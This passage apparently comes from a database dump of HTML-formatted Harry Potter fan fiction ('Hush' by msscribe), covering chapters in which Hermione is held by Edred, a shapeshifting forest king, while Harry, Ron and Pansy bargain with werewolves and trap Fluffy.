sweetie</i> &#8211; the bra says &#8211; <i>eat your \n  vegetables and</i> <i>maybe one day you&#8217;ll be able to fill me up nicely &#8211; </i></p>\n<p class="MsoBodyText2">Hermione hates having to wear the things \n  he steals or kills for, but she has no choice.&nbsp; She had arrived with only a \n  nightgown on.&nbsp; </p>\n<p class="MsoBodyText2">&#8216;Thanks a \n  lot&#8217; she thinks sarcastically.</p>\n<p class="MsoBodyText2"><i>They&#8217;re \n  lovely-</i> the bra says apologetically &#8211; <i>but you don&#8217;t need \n  anything like me -</i> </p>\n<p>She decides she will wait to try on the underwear until morning.&nbsp; \n  God only knows what it would have to say.&nbsp; It is getting late and she is tired, \n  and worried for Harry and Ron. She hadn\'t seen Ron, but she knows he with Harry. \n  He is always with Harry. </p>\n<p><i>You need your rest </i>- bed says - <i>I\'m nice and warm-</i></p>\n<p>Hermione says a prayer for them, and climbs \n  between the sheets. She mouths a song her mother used to sing for her, and she \n  can still hear it in her head...even if no one else can.&nbsp; </p>\n\n\n'),
	(220, 4, '\n<p><b><u>Hush </u></b>by <b>msscribe </b>&nbsp;</p>\n<p class="MsoBodyText">Disclaimer: \n  No profits are being made off the fiction on these pages. Harry Potter, associated \n  characters and the associated Harry Potter universe is &#169; J. K. Rowling and respective \n  publishers.</p>\n<p class="MsoBodyText">&nbsp;</p>\n<p class="MsoBodyText">&quot;The forest hides many secrets.&quot; &nbsp;&nbsp;&nbsp; -- \n  Ronan the Centaur</p>\n<p>&nbsp;</p>\n<p><b><u>Chapter 3</u> &#8211; The Collector</b></p>\n<p>This is his mountain, where he can see his world.&nbsp; The winds have arrived, \n  and he has been expecting their most recent demand.&nbsp; Nature is the only thing \n  that has power over him.</p>\n<p>Edred&#8217;s life isn&#8217;t often touched by intrigue.&nbsp; To him, there are simply those \n  things that should be killed, and those things that shouldn&#8217;t.&nbsp; He is comfortable \n  in this world.&nbsp; He has power beyond what humans have, even the magical kind, \n  and all who roam freely under his watch submit to his authority without question.&nbsp; \n  He has always detested men, having little patience for the way they react to \n  him.&nbsp; Some scream, some weep, and others only lie on the ground and tremble, \n  silently awaiting their fate.&nbsp; His father was one of these weaklings, and he \n  hates that some of the blood in his veins is the same as theirs.</p>\n<p>Hermione&#8217;s subtle beauty is unearthly, and although killing her would be enormously \n  satisfying, he did not take her for that reason. She is his prize, and will \n  soon be his key to atonement.</p>\n<p>For a moment, Edred stands staring down at the forest being tousled mercilessly \n  by the summer wind, hoping to appear unsuspecting to the overly ambitious mountain \n  troll who is sneaking up behind him.&nbsp; </p>\n<p>A couple of scout pixies fly through the trees below him, and he nods to them, \n  signaling that he has indeed seen the threat.&nbsp; </p>\n<p>He is hit with a wave of nostalgia at the thought of killing this mountain \n  troll.&nbsp; It isn&#8217;t uncommon for a mountain troll to try and attack him.&nbsp; Because \n  of their arrogance, they have always been difficult creatures to maintain rule \n  over.&nbsp; </p>\n<p>His hand shakes with anticipation of the kill, but he waits.&nbsp; He will have \n  to transform some, but not enough so anyone watching would be able to understand \n  what was happening.</p>\n<p>The troll raises his club into the air above Edred&#8217;s head. </p>\n<p>Edred spins around; slicing open the troll&#8217;s enormous gut with his razor sharp \n  claws.&nbsp; The troll falls back, surprised by this counter-attack.&nbsp; They are always \n  surprised.&nbsp; They don&#8217;t know that his range of vision is in all directions.&nbsp; \n  They don&#8217;t know that he can will his large ungraceful hands into efficient weapons.&nbsp; \n  They don&#8217;t know his other form. Everyone has always just assumed that their \n  king and his enforcer are two separate entities.&nbsp; </p>\n<p>The troll&#8217;s eyes begin to roll back as blood spills out around him on the ground.&nbsp; \n  Edred recognizes the necklace the troll wears and rips it from his thick throat.&nbsp; \n  This troll was sworn to obey him, and wore the symbol of loyalty he gave out \n  to all of his soldiers.&nbsp; </p>\n<p>Edred will have to make an example of him.&nbsp; </p>\n<p style="text-align:center" align="center">~~~~~~~~~~~~</p>\n<p>Hermione wakes up from her deep sleep suddenly, like someone had snapped their \n  fingers inside of her head. &nbsp;Her vision is blurred and she blinks to try to \n  clear away the clouds.</p>\n<p>The wind outside rocks and pummels the house.&nbsp; The branches from the trees \n  are slashing against the shingles and she listens for complaints, but hears \n  only silence.&nbsp; </p>\n<p>&#8216;Has he gone already?&#8217; she thinks, seeing the clock only at five am.</p>\n<p>No one answers.&nbsp; </p>\n<p>&#8216;Did he leave already?&#8217;</p>\n<p>The silence rings in her head, taunting her.</p>\n<p>Fear begins to knot in her stomach as the wind keeps tearing things loose from \n  the outside of the house.&nbsp; Harry and Ron are out there in the forest somewhere.&nbsp; \n  She prays they have found shelter. For a while, she listens intently for all \n  of the chatter she has grown accustomed to hearing.&nbsp; Still nothing.&nbsp; </p>\n<p>Panic-stricken, Hermione gets out of bed.&nbsp; The kitchen is empty and quiet.&nbsp; \n  Nothing is moving except for the fairy at the end of the stairs.&nbsp; </p>\n<p>Hermione taps the glass and the fairy looks up at her, unconcerned.</p>\n<p>&#8220;What?&#8221; its little voice says, annoyed.</p>\n<p>She remembers that it can&#8217;t hear the things she does, so it probably doesn&#8217;t \n  notice that the <i>aliveness </i>of the house seems to have come to a halt.</p>\n<p>Hermione shakes her head and walks away.&nbsp; It curses her again, calling her \n  a nuisance.&nbsp; </p>\n<p>&#8216;Maybe nothing can hear me because of the wind,&#8217; she thinks to herself, hoping \n  that something will speak to her.</p>\n<p style="text-align:center" align="center">~~~~~~~~~~~~</p>\n<p>As they sit against the back wall of the small dark cave, Harry thinks that \n  the wind is worse then he has ever known.&nbsp; It is brutal and angry as it rushes \n  past them like something diabolical.</p>\n<p>&#8220;I hope this lets up soon,&#8221; Harry says.</p>\n<p>Pansy sighs, then resumes nibbling at her fingernail.&nbsp; </p>\n<p>&#8220;I can&#8217;t believe I&#8217;m trapped here with you two.&#8221;</p>\n<p>Ron begins to draw a chessboard on the dirt floor. &#8220;We can&#8217;t believe it either.&nbsp; \n  I&#8217;d give anything to be able to apparate you back to your slimy boyfriend.&#8221;</p>\n<p>Pansy snorts. &#8220;Draco is hardly slimy.&nbsp; He happens to be very refined, unlike \n  you and the orphan here.&nbsp; What&#8217;s the matter with you two anyway?&nbsp; Why risk your \n  lives trying to find what&#8217;s- her- name?&#8221;</p>\n<p>&#8220;Hermione,&#8221; Harry says, growing annoyed with Pansy&#8217;s chatter, &#8220;Her name is \n  <i>Hermione</i>.&#8221;</p>\n<p>&#8220;That\'s right, boring little Hermione. I could never remember her name because \n  whenever she tried to tell me what it was, I used to fall asleep halfway through \n  it.&#8221;</p>\n<p>Ron bites his tongue, and strategically places some stones onto the ground.</p>\n<p>&#8220;You obviously don&#8217;t have any friends like Hermione so I&#8217;ll pretend you didn&#8217;t \n  say that,&#8221; Harry says, shifting his eyes towards Ron.</p>\n<p>&#8220;Yeah, and I can bet any amount of money Malfoy won&#8217;t come looking for you!&#8221; \n  Ron snaps.</p>\n<p>Pansy&#8217;s eyes turn to slits and she brings her knees up to her chest, looking \n  away from the two boys.&nbsp; The wind is swirling so hard now that leaves blow by \n  them like rain.</p>\n<p>She sits in silence, trying to think of a good way to put Potter and Weasley \n  in their place when she notices an outline of a figure walking towards them.&nbsp;It \n  looks like a girl. Pansy stands, pointing at the entrance.</p>\n<p>&#8220;Do you see that?&#8221; Pansy asks.</p>\n<p>Harry and Ron look up from their chess game and reach for their wands.&nbsp; How \n  was it that this figure hadn&#8217;t been pitched high into the air by the fearsome \n  wind?&nbsp; </p>\n<p>She draws closer and Harry can see more clearly.</p>\n<p>&#8220;Wait!&nbsp; Don&#8217;t come any further or else!&#8221; Ron yells, pointing his wand at the \n  being now standing in the doorway.&nbsp; </p>\n<p>&#8220;Or else you&#8217;ll do what?&#8221; </p>\n<p>She is dressed in animal skin.&nbsp; Her feet are blackened with dust and her face \n  is pointy.&nbsp; Her eyes are supernatural.&nbsp; They are yellow and wide and when she \n  smiles at them, she reveals two razor sharp fangs in the front.</p>\n<p>&#8220;What are you?&#8221; Pansy whispers, barely able to keep from shaking.</p>\n<p>The girl enters the cave.&nbsp; &#8220;You have trespassed onto our land.&#8221;</p>\n<p>&#8220;Our?&#8221; Ron says.</p>\n<p>One by one, more figures step out of the wind and begin to surround the entrance \n  to their shelter.&nbsp; The girl walks closer to Harry.&nbsp; </p>\n<p>&#8220;I&#8217;m warning you, I don&#8217;t want to hurt you,&#8221; Harry says.</p>\n<p>The strange girl laughs again, and she raises a claw to pick her teeth with.&nbsp; \n</p>\n<p>Ron moves up beside Harry. &#8220;Werewolves&#8230;they&#8217;re werewolves.&#8221;</p>\n<p>Harry swallows hard and looks the werewolf girl directly in the eyes.</p>\n<p>&#8220;What do you want?&#8221;</p>\n<p>The wind begins to die down, and Harry can hear the ragged breathing of the \n  creatures.&nbsp; She wipes a trail of saliva from her mouth and speaks.</p>\n<p>&#8220;Had it not been for your good timing, you would be our breakfast.&nbsp; But we \n  have already eaten our fill this morning.&nbsp; I cannot promise that you won&#8217;t be \n  lunch however.&#8221;</p>\n<p>Harry is holding his wand so tightly now that his fingers are aching.</p>\n<p>&#8220;How can you be werewolves?&nbsp; You aren&#8217;t human,&#8221; Harry asks.</p>\n<p>The girl bears her teeth again, growling angrily at the remark.</p>\n<p>&#8220;Of course we aren&#8217;t you fool!&nbsp; We can infect humans, but those of us born \n  as werewolves are always <i>more</i> than human.&#8221;</p>\n<p>&#8220;Infected werewolves appear to be human, like Lupin, but real werewolves are \n  never completely human,&#8221; Ron explains to Harry.</p>\n<p>There are quiet rumblings now at the sound of Professor Lupin&#8217;s name.&nbsp; The \n  girl steps aside as an older werewolf, a graying man, steps into the cave.</p>\n<p>&#8220;How is it that you know Remus?&#8221; the elder werewolf asks.</p>\n<p style="text-align:center" align="center">~~~~~~~~~~~~</p>\n<p>Without the comforting babble from the objects in the house, Hermione feels \n  like she is drowning in silence.&nbsp; Silence, like the inside of a coffin.</p>\n<p><i>&#8216;I am awake and alive,&#8217; </i>she thinks over and over again, trying to convince \n  herself.&nbsp; </p>\n<p>Hermione can&#8217;t imagine enduring such silence for long.&nbsp; She has been surviving \n  on the friendly voices of the house.&nbsp; It is enough that she has to push back \n  thoughts of never seeing her parents again, never seeing Hogwarts again and \n  never seeing Harry or Ron again.&nbsp; </p>\n<p>The wind begins to slow.&nbsp; Cold wraps itself around her like a blanket.&nbsp; She \n  listens, and her heart leaps with hope as she hears something mumble.</p>\n<p>&#8216;Can you hear me?&#8217; she thinks tearfully.</p>\n<i>Not to worry dear, we were silenced by the winds- </i>the chair she is sitting in says - <i>we had to answer its call \n&#8211; </i> \n<p>And the voices in the house begin to swell, like different sections of a symphony \n  being introduced into a song.</p>\n<p style="text-align:center" align="center">~~~~~~~~~~~~</p>\n<p>The drums from the werewolf village fill every cranny and space of what used \n  to be a vast and thrumming silence.&nbsp; It pours into their ears as they are led \n  into the center of the numerous crude structures that lie hidden behind a thick \n  patch of sycamore trees.&nbsp; Harry thinks to himself that at least they are still \n  on the right path.&nbsp; </p>\n<p>&#8220;Our leader is Dergon,&#8221; the elder werewolf says, pointing them towards the \n  biggest hut leaning up against a large, black hill.&nbsp; </p>\n<p>Harry, Ron and Pansy walk towards it, taking in the view around them. There \n  are large flat rocks being used as a walkway, and they gleam like polished tiles.&nbsp; \n  They avoid the red, glassy sand that is spilling out of a hut that appears to \n  be a slaughterhouse.&nbsp; Its occupant is currently slicing open an animal Harry \n  recognizes as a Centaur. He turns his head quickly, somewhat comforted that \n  it isn&#8217;t Firenze, the Centaur who had saved his life in his first year at Hogwarts.&nbsp; \n</p>\n<p>When they reach the entrance, a small werewolf boy runs inside to inform Dergon \n  of their presence.&nbsp; A few seconds later, a tall and muscular werewolf emerges.&nbsp; \n  His eyes fall upon Harry&#8217;s scar and he nods.</p>\n<p>&#8220;You are the one Remus Lupin told me so much about.&nbsp; We are in debt to him, \n  and because of that, we will spare your lives,&#8221; he says loud enough for those \n  gathering around to hear.&nbsp; There are disappointed sighs, and someone tosses \n  a stone at Pansy.</p>\n<p>&#8220;Silence!&nbsp; Concentrate on fighting the three headed dog that keeps trying to \n  devour our children and steal our prey!&#8221; Dergon howls.</p>\n<p>Ron and Harry exchange a knowing look.&nbsp; Pansy kicks the gravel at her feet \n  uncomfortably.</p>\n<p>&#8220;Do you think he means Fluffy?&#8221; Ron asks Harry.</p>\n<p>Dergon hardens his stare.&nbsp; &#8220;You know of the monster we fight?&#8221;</p>\n<p><i>Make a bargain, they can take you farther </i>&#8211; the book in Harry&#8217;s bag \n  whispers <i>&#8211; he knows where she is, I can read his mind &#8211; </i></p>\n<p>&#8220;What if we told you we could get rid of this beast?&nbsp; Would you be willing \n  to do something for us?&#8221;</p>\n<p>Pansy shakes her head.&nbsp; &#8220;I&#8217;m not fighting any three headed dog for that little \n  girlfriend of yours Potter.&nbsp; It&#8217;s daylight now and I think I&#8217;ll take my chances!&#8221;</p>\n<p>She turns to walk and Dergon raises his hand, directing his followers to stop \n  her.&nbsp; Pansy considers running until the girl werewolf raises her claws to Pansy&#8217;s \n  face.</p>\n<p>&#8220;I would be willing to make a trade if you rid us of the beast. Our weapons \n  cannot penetrate its thick skin at a distance, and whenever one of us has gotten \n  close enough to injure it, it has devoured them whole,&#8221; Dergon says.</p>\n<p>They could make it to Hermione faster with those who knew the forest.&nbsp; It would \n  cost them time now, but he knew it would save them time later.&nbsp; </p>\n<p>&#8220;We have even tried leaving it a portion of our kill, but it prefers its victims \n  live,&#8221; Dergon says, pointing to a hut with the roof torn off.&nbsp; </p>\n<p>Harry reaches out his hand to Dergon.&nbsp; &#8220;We will rid you of the beast.&nbsp; And \n  if we do, you will send two of your own to help us get to the center of the \n  forest.&#8221;</p>\n<p>Dergon takes Harry&#8217;s hand.&nbsp; &#8220;I will honor that bargain.&nbsp; The beast is due to \n  visit soon, so you probably don&#8217;t have much time.&#8221;</p>\n<p>Ron steps up and rests his hand on Harry&#8217;s shoulder.&nbsp; </p>\n<p>&#8220;Where are we going to get soothing instruments?&nbsp; If we sing to it, we&#8217;ll just \n  piss it off. &#8221;&nbsp; Ron whispers.</p>\n<p>Harry shrugs.&nbsp; Neither one of them could carry a tune in a bucket.&nbsp; &#8220;We&#8217;ll \n  have to be resourceful,&#8221; Harry says, turning to look at Pansy who is still in \n  a staring competition with the girl werewolf,&nbsp; &#8220;but at least we already have \n  the live bait.&#8221;</p>\n<p>&nbsp; </p>\n<p style="text-align:center" align="center">~~~~~~~~~~~~</p>\n<p><i>Why are you here again so soon?-</i> the door asks-<i> have you come to \n  see? &#8211; </i></p>\n<p>&#8216;Please open for me.&nbsp; I promise I won&#8217;t harm anything,&#8217; she thinks in her now \n  achy head.</p>\n<p><i>She doesn&#8217;t deserve it! </i>&#8211; the tree outside of the hallway window screams \n  <i></i></p>\n<p>The door opens for her, and once again, Hermione finds herself in his private \n  room.&nbsp; The wooden box doesn&#8217;t wait for her to ask, and opens by itself.</p>\n<p>&#8216;Thank you.&#8217;</p>\n<p>Hermione picks up a blue vile and sucks in her breath, preparing to be gifted.&nbsp;&nbsp;&nbsp; \n  The room begins to spin and round bits of crystal form around her, each gem \n  perfect and brilliant.&nbsp; </p>\n<p><i>Pick one &#8211;</i> a voice says</p>\n<p>She reaches to pick up a crystal, hoping to see Harry and Ron.&nbsp; Instead, she \n  sees Edred&nbsp; walking through the thicket.&nbsp; He is dragging something behind him.&nbsp; \n  It is the body of a troll, and it leaves a trail of blood.&nbsp; She drops the crystal, \n  and it shatters into dust.&nbsp; </p>\n<i>Pick another &#8211; </i> \n<p>She is beginning to sweat and her hands are starting to feel weak.</p>\n<i>Hurry, you cannot withstand sight much longer &#8211; </i> \n<p>She picks up another crystal and she is relieved to see Harry and Ron.&nbsp; Her \n  heart is pounding faster now.&nbsp; They have people with them.&nbsp; She can see Harry&#8217;s \n  eyes.&nbsp; His lips mouth her name reverently.&nbsp; The vision isn&#8217;t clear and the crystal \n  begins to disintegrate. She grasps at ever speck of dust like her life depends \n  on it, but they fall through her fingers anyway.&nbsp; </p>\n<p>The box in the room makes a \'tsk-tsk\' sound.</p>\n<p>Hermione is soaked with sweat.&nbsp; She has seen so little, but it was at least \n  some comfort, knowing they were still alive.&nbsp; Knowing she still had some hope.&nbsp; \n</p>\n<p><i>You&#8217;d better clean up &#8211; </i>the door says <i>&#8211; he&#8217;ll be home soon; the winds \n  have died down - </i></p>\n<p>She closes the lid on the box and checks the room for anything out of place.&nbsp; \n  She leaves the room feeling close to death.&nbsp; The sight she received from the \n  blue vial gave her very little, but took away a great deal of her strength.</p>\n<p>&#8216;Why is the wind important?&#8217; her mind asks, as she makes her way into the bedroom \n  for a change of clothes.</p>\n<p><i>The winds have forced him to atone&#8211;</i> the dresser says to her in a hushed \n  voice <i>&#8211; and that means your time has come as well &#8211; </i></p>\n<p>Hermione doesn&#8217;t know whether the chill running up her back is from the dresser&#8217;s \n  words, or the air hitting her damp body as she peels away the wet clothes.&nbsp; \n  It will take her twenty minutes to draw a bath and that will leave her little \n  time to prepare for his arrival.&nbsp; </p>\n<p>&#8216;What does that mean?&#8217;</p>\n<p><i>She won&#8217;t be happy &#8211; </i>the pillow mumbles <i>&#8211; she loves another - </i> \n</p>\n<p><i>He has chosen you dear &#8211;</i> her bed explains<i>- you will be his Queen-</i></p>\n<p style="text-align:center" align="center">~~~~~~~~~~~~</p>\n<p>&#8220;The winds have called everything out of it&#8217;s routine today.&nbsp; Our king answers \n  to it and so do we,&#8221; Dergon says. </p>\n<p>They are sitting around the campfire in a large circle as dusk begins to creep \n  up on them. They have been there all day, gathering the supplies needed to complete \n  their end of the bargain. </p>\n<p>&#8220;Can you tell me about the king?&#8221; Harry asks, knowing only what the brief passages \n  in Hermione&#8217;s book had written about him.</p>\n<p>Dergon pulls a live spider out of a bowl and bites into it.&nbsp; The creature screams \n  as his teeth rip it in half..</p>\n<p>&#8220;The king rules over all of the forest, and even we answer to his power.&nbsp; He \n  has been challenged by many and unmoved by none.&nbsp; He has chosen a bride, and \n  his promise will be fulfilled.&#8221;</p>\n<p>&#8216;Hermione,&#8217; Harry mouths softly, lowering his head to hide the pained look \n  on his face.</p>\n<p>&#8220;What promise?&#8221; Ron asks, swallowing back nausea as the werewolves swallow \n  live spiders left and right.&nbsp; Ron kicks an escaped one towards the werewolf \n  boy who picks it up happily.</p>\n<p>Dergon chomps into another.&nbsp; &#8220;The king will be given power for another one \n  hundred years if a human accepts him as her husband.&nbsp; It is to atone for what \n  nature has said are his crimes against man.&nbsp; He has never allowed humans to \n  remain in the forest for very long, and although it is not a sin to kill for \n  self preservation, it is a sin against nature to kill for pleasure. So he promised \n  to pay his debt by meeting Nature\'s demands. And his pledge was carried to us \n  by the wind.&#8221;</p>\n<p>Dergon spears a large spider through the stomach and sticks it in the fire.&nbsp; \n  He does this twice more.</p>\n<p>&#8220;Remus told us that humans prefer their meat to be engulfed in flames.&nbsp; This \n  is Acromantula flesh.&nbsp; Very tender,&#8221; he replies, handing Harry a stick with \n  the meat charred at the end of it.&nbsp; </p>\n<p>Harry nibbles at the offering appreciatively, trying to rid his head of the \n  giant spider from where his meal came.&nbsp; Ron&#8217;s face contorts in anguish, but \n  he takes his offering as well.&nbsp; Pansy simply stares at hers, instead choosing \n  to hand it to the werewolf girl.&nbsp; It is gulped down greedily in a matter of \n  seconds.</p>\n<p>&#8220;We can&#8217;t afford to be rude,&#8221; Ron warns her.</p>\n<p>&#8220;I don&#8217;t go around eating everything that&#8217;s offered to me Weasel,&#8221; Pansy replies, \n  &#8220;That&#8217;s how I manage to stay as pretty as a picture.&#8221;</p>\n<p>She runs her fingers through her hair.</p>\n<p>&#8220;Pretty as a picture huh? At least that would explain my urge to hang you,&#8221; \n  Ron mumbles.</p>\n<p>Harry opens the book in his hands.&nbsp; Ron looks over at him, his eyes questioning.&nbsp; \n  Harry shakes his head no.&nbsp; The book has been very quiet tonight.&nbsp; </p>\n<p>&#8220;I hope you two have a plan to catch this three headed thing.&nbsp; It&#8217;s starting \n  to get dark,&#8221; Pansy says.</p>\n<p>&#8220;Oh yeah, we have a plan all right,&#8221; Ron replies smugly.</p>\n<p style="text-align:center" align="center">~~~~~~~~~~~~</p>\n<p>&nbsp; </p>\n<p><i>&#8220;I worship the ground that awaits your corpse Harry Potter!!&#8221;</i> Pansy \n  screams from the top of the hurriedly constructed post in the middle of the \n  village.&nbsp; </p>\n<p>Ron holds onto the drum and Harry brings the hollow, wooden tube to his mouth, \n  looking around for signs of Fluffy.&nbsp; </p>\n<p>&nbsp;&nbsp; </p>\n\n\n'),
	(220, 5, ' <p>AN: Thanks to <b>Sarah James </b>and<b> Seakays</b> for the beta, to <b>Eric</b> for pointing out a fatal error, and to my husband who called me profoundly irreverent the other night when we were acosted by a very large woman with curlers in her hair at our local grocery store. </p>\n\n<p>&nbsp;</p>\n\n<u>Chapter 4 - Engagements</u>\n\n<p>~~~~~~~~~~~~</p>\n\n<p>Pansy screams at the top of her lungs for nearly fifteen minutes, while Harry and Ron sit crouched down in the bushes.&nbsp; Sharp-tongued and profoundly irreverent, she vows that she will seek revenge on them both, even in death.&nbsp; But no matter how hard Pansy clamors, yells or shrieks, the two just sit in silence, waiting for their plan to come to a rapid conclusion.</p>\n\n<p>Pansy suddenly becomes aware of a smell &#8211; foul, rank, nauseating.&nbsp; She doesn&#8217;t even want to consider what it might be.&nbsp; She wants to be let down.&nbsp; <i>Immediately.</i></p>\n\n<p>&#8220;Who would believe that you, Harry Potter, would be an accomplice to murder!&#8221; she yells in desperation.</p>\n\n<p>But they aren&#8217;t listening.&nbsp; They are both staring up at her, their eyes unwavering, and there is something hot and moist on the back of her neck.</p>\n\n<p>&#8220;Now!&#8221; Ron screams, and Harry begins to blow the wooden flute.&nbsp; It is an ungodly sound, and Pansy doesn&#8217;t think anything else in the world can sound as bad.&nbsp; </p>\n\n<p>That is...until she hears a low growl coming from six livid eyes, above three sharp canine noses.</p>\n\n<p>&#8220;It&#8217;s not working!&#8221; Harry screams, banging the flute around as if trying to dislodge something from it. There is a bug scurrying around inside, and it is distorting the sound.</p>\n\n<p>The three-headed beast is licking its horrible chops, trying to decide which piece of the wailing girl it will bite off first.&nbsp; Growing desperate, Ron tries to blow out the bug by forcing angry notes, and Harry has a go with the drums.</p>\n\n<p>(A pixie being tossed into a shredder, an ailing hippogriff&#8230;)</p>\n\n<p>The beast is repulsed by the chaotic chords, and swings one of its heads towards Ron. It snaps at his arm, but Ron leaps into the bushes just in the nick of time.</p>\n\n<p>&#8220;Our music isn&#8217;t working, how the hell are we supposed to knock it out?&#8221; Ron yells, tossing a stone at the beast to distract it from Pansy.&nbsp; Fluffy snaps at Ron again, this time just missing his foot.</p>\n\n<p>Harry and Ron have panicked expressions on their faces.&nbsp; They have no idea what to do next, and Pansy is still tied to the pole like a live shish kabob. Harry tosses another rock at the creature, and then breaks out into the only wizarding song he knows the words to. Ron joins in.&nbsp; </p> (Two Dementors on their deathbeds, a house elf being tortured&#8230;) <p>Fluffy snarls angrily, moving its other head towards a tone deaf Harry. Harry feels for his wand and Ron does the same. Ron curses as he realizes he has left them in Dergon\'s hut. They had been too busy carving that useless flute to remember to grab them.</p>\n\n<p>&nbsp;&#8220;Hopeless, brainless embarrassments! You don\'t even have your wands?&#8221; Pansy screams, drawing Fluffy&#8217;s attention again.</p>\n\n<p>&nbsp;And it is then, that Pansy Parkinson resigns herself to doing the only thing she can think of.&nbsp; </p>\n\n<p><i>&#8220;Alas, my love, you do me wrong, to cast me off discourteously&#8230;&#8221;</i></p>\n\n<p>The hideous, overgrown canine otherwise known as &quot;Fluffy&quot; sways a little to her surprisingly sweet voice. A wide-eyed Ron and Harry exchange surprised glances.</p>\n\n<i>&#8220;For I have loved you well and long, delighting in your company&#8230;&#8221; </i>\n\n<p>Fluffy gurgles a bit, and one of its heads snaps into a yawn.&nbsp; </p>\n\n<p>&#8220;Keep singing Pansy,&#8221; Harry whispers as he motions towards Dergon and three other werewolves.</p>\n\n<p>Then another head yawns&#8230;and another. Fluffy begins to settle at the foot of the post that Pansy is tied to.&nbsp; The men each grab the end of a large net, woven from threads of Acromantula Web. </p>\n\n<p>(Yawn, Drool)</p>\n\n<p>Harry, Ron and Dergon approach Fluffy carefully as it&#8217;s eyes droop, and finally close. Ron is sprayed by slobber as one of the massive heads exhales in his direction.</p>\n\n<p>&quot;Christ!&quot; Ron complains, wiping his face clean.</p>\n\n<p><i>&#8220;Greensleeves was all my joy, Greensleeves was my delight...&#8221;</i></p>\n\n<p>&#8220;Now!&#8221; Harry whispers.</p>\n\n<p>They toss the net over the beast.&nbsp; The stench of the monster hits them like a fist as they begin to drag it towards the nearby cave.</p>\n\n<p>&#8220;Sod... Fluffy must not have had a bath since he was staying at Hogwarts,&#8221; Ron groans, &#8220;he smells almost as bad as Parkinson&#8217;s boyfriend.&#8221;</p>\n\n<p>Pansy stops singing, glaring down at Ron.&nbsp; One of Fluffy&#8217;s eyes opens, and a head begins to turn towards Ron.</p>\n\n<p>&#8220;Sorry&#8230;.&#8221; Ron says realizing she has the upper hand now, &#8220;keep singing.&#8221;</p>\n\n<p>Then another head opens its eyes, awakened by the silence.</p>\n\n<p>&#8220;Pansy!&#8221; Harry says urgently.</p>\n\n<p><i>&#8220;Now I remain in a world apart, but my heart remains in captivity&#8230;&#8221; she croons. </i></p>\n\n<p>~~~~~~~~~~~~</p>\n\n<p>Edred is late returning to the house that night, and Hermione has everything in order.&nbsp; There is no sign that she has been sneaking around, and even though the trees still call her traitorous, she finds comfort in the fact that he can\'t hear their angry voices.&nbsp;</p>\n\n<p> The wind has started to pick up again, and the leafy loyalist&#8217;s complaints are only background noise now.&nbsp; </p>\n\n<p>Hermione doesn&#8217;t hear him enter this time.&nbsp; She is preoccupied in her thoughts of blue vials, and visions of Harry and Ron.&nbsp; Hearing his foot brush against the rug, Hermione turns around slowly and finds him behind her, staring down at her.&nbsp; A bright cold sweat breaks out on her forehead, and she feels a dizzying rush. Edred touches the back of her hand; his fingers hot and sticky on her skin.&nbsp; </p>\n\n<p>&#8220;You will leave the house with me at sunrise tomorrow,&#8221; he says, &#8220;and you will wear what I have brought for you.&#8221;&nbsp; </p>\n\n<p>She notices the dress lying across the front room chair.&nbsp; Its beauty is overshadowed by the fact that Edred is caressing her hand, touching her in a way that he has never before.&nbsp; </p>\n\n<p><i>&#8216;Hermione Granger is still alive,&#8217;</i> she reassures herself.</p>\n\n<p>Hermione shuts her eyes tightly as he leans down to her.&nbsp; Then something scurries across her face.&nbsp; It feels light and hairy.&nbsp; She moves to brush it away, and realizes it&#8217;s the hair on his chin.&nbsp; He plants a wet kiss on her cheek, and she flinches when his saliva burns her.&nbsp; Her heart thuds in her ears, and as slowly as she can manage, she begins inching away from him, pressing her back against the hall table.&nbsp; </p>\n\n<p>Edred smiles at her, feeling a stirring he hasn&#8217;t felt for a while.&nbsp; He is attracted to her vulnerability.&nbsp; He moves towards her, letting his long fingers take her by the chin. He tilts her head gently to catch the light. She is a girl on womanhood\'s threshold, her nose straight and fine and her eyes large and wide with fear. Her lips curve into a perfect Cupid\'s bow and he thinks that she is what an angel must look like.</p>\n\n<p>&#8220;You will be my bride soon enough, so for now I will leave you be.&nbsp; But I think it\'s only fair that you see me for who I am Hermione.&#8221;</p>\n\n<p>While Hermione watches, Edred steps back, clenching his head in his hands as if in pain.&nbsp; His fanged jaws hinge wide, and his forked tongue begins dancing at her.&nbsp; The fire in his eyes burns brighter. His neck grows and arches like a vaulted ceiling, and his clothing is stretched to its limits, ripped at the shoulders and legs. His skin grows scaly, as wings fan out, and for a moment, she thinks she might be looking into the face of her childhood bogeyman.&nbsp; Except this monster is real enough, inelegantly transforming before her.&nbsp; </p>\n\n<p>&#8220;Look at me Hermione,&#8221; he snarls, sparks coming from his breath , &#8220;You are the only one to know my secret and live.&#8221;</p>\n\n<p><i>&#8216;Hermione Granger must stay alive&#8217;, </i>she thinks again, and she forces her eyes to remain open.&nbsp; She is shaking so violently, the table behind her trembles as well.&nbsp; </p>\n\n<p>&#8220;It is a great honor to be my bride.&nbsp; You will be Queen, and perhaps one day you will even earn my trust.&#8221;</p>\n\n<p>She thinks she knows now what death is.&nbsp; Her pulse has quickened to where the beats all flow together, and the wind is screaming against the door.</p>\n\n<p>His voice, in this form, is like the searing sound of water being disintigrated by flame. Only gradually do the words make sense to her, because as he speaks them, they hang in the air like smoke, sifting into her ears. &quot;My servant of so many years, the one who I call Barden, will retire tomorrow after my new servant has been chosen. There will be a great competition and all will die but one, who will have great power bestowed upon him. You will be presented then, and two nights afterwards, on the eve of the full moon, you will become my bride. Do not be afraid Hermione, for even in this form...I have complete control of my being.&quot; </p>\n\n<p>Edred&#8217;s face begins to shift again, his neck shrinking, and changing back to the color of old leather, his wings collapsing behind him.&nbsp; His eyes stay the same.&nbsp; There is an air of restrained violence about him, and Hermione is careful not to make any sudden movements. A ghostly grin sweeps across his lips.&nbsp; He has made it very clear that his sense of possession of her is complete.&nbsp; </p>\n\n<p>&#8220;You may retire if you like,&#8221; he says, turning to go into the kitchen for a meal of raw flesh and mead.</p>\n\n<p>Hermione walks upstairs as fast as she can.&nbsp; If she were walking any faster, she&#8217;d be running.&nbsp; When she enters her room, she closes the door behind her.&nbsp; And although no one can hear her&#8230;she screams.&nbsp; </p>\n\n<p>~~~~~~~~~~~~</p>\n\n<p>Dergon and Harry drag the last boulder in front of the cave, trapping Fluffy inside.</p>\n\n<p>Pansy is sitting on the ground, her voice growing hoarse from her continuous song, and she sighs with relief when Harry nods that she can stop.&nbsp; </p>\n\n<p>&#8220;How did you know its weakness?&#8221; Dergon asks, wiping the sweat from his brow.</p>\n\n<p>Harry listens as Fluffy cries and scratches from the inside, now beginning to awaken.&nbsp; </p>\n\n<p>&#8220;We&#8217;ve had to get by him before,&#8221; he answers, &quot;perhaps in time you can train him to be of 